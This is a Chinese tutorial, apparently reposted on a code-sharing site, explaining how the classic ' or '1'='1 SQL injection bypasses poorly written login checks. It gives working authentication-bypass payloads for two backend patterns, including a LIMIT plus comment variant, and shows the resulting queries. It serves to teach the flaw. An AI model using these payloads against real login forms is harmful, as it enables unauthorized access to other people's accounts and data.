关于万能密码 or 1=1


万能条件 ' or 1=1

在用户登录界面,如果后端判断不严谨,可以通过 or 1=1 的方式,结合其他条件满足后端的登录的验证许可.

假设 登录的验证需要 username 和password 两个参数.

情况一: 查询结果不为空,或大于0

后端代码:

# 查询的SQL 
result = SELECT * FROM users WHERE user = '#username' AND password = '#password'  

#猜测后台验证的方法 (伪java代码)
if(result != null ){
	return true;
}else {
  thorw new RuntimeException ('登录失败')
}

或者(伪java代码)

if(result.cont >0 ){
	return true;
}else {
  thorw new RuntimeException ('登录失败')
}

前端填写:

用户名随意填写或者空,密码填写 111' or '1'='1




这样讲导致SQL演变为
 SELECT * FROM users WHERE user = 'name'  AND password = '111'  or '1'='1'

判断条件变成了: 用户名密码匹配 或者 '1' = '1' 所以条件一直为真.会查出所有用户信息







username  输入 admin1' or '1'='1  即可,passwrd 可以填空或随意值即可.

这样讲导致SQL演变为
 SELECT * FROM users WHERE user = 'admin1' or '1'='1' AND password = ''  



情况二: 直接查询数量是否等于 1

情况一的方法就不能使用了,想办法让返回结果为1 即可.

后端代码:

# 查询的SQL 
int result = SELECT count(*) FROM users WHERE user = '#username' AND password = '#password'  

#猜测后台验证的方法 (伪java代码)
if(result == 1 ){
	return true;
}else {
  thorw new RuntimeException ('登录失败')
}

前端填写 : 如果知道用户名

username: admin'  or '1'='1  
补充: admin是真实用户名

password: 随意输入密码即可      

这样讲导致SQL演变为
 SELECT * FROM users WHERE user = 'admin'  or '1'='1'  AND password = '111'  
 
可以理解为:
  SELECT * FROM users WHERE user = 'admin'  or( '1'='1'  AND password = '111'  )
  
 
 这样会导致只会查询 user 为admin的用户,导致查询数量为1
 
 
  

前端填写 : 如果不知道用户名

username = 111' or '1'='1' limit 0, 1#   
用户名: 使用or 1=1 达到万能条件,使用 limit 0,1 表示取第一条数据, 使用# 表示注释掉后面的语句
password = 111  
密码随意输入即可



这样讲导致SQL演变为
SELECT * FROM `users` WHERE user = '111' or '1'='1' limit 0, 1# AND password = '111';







免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM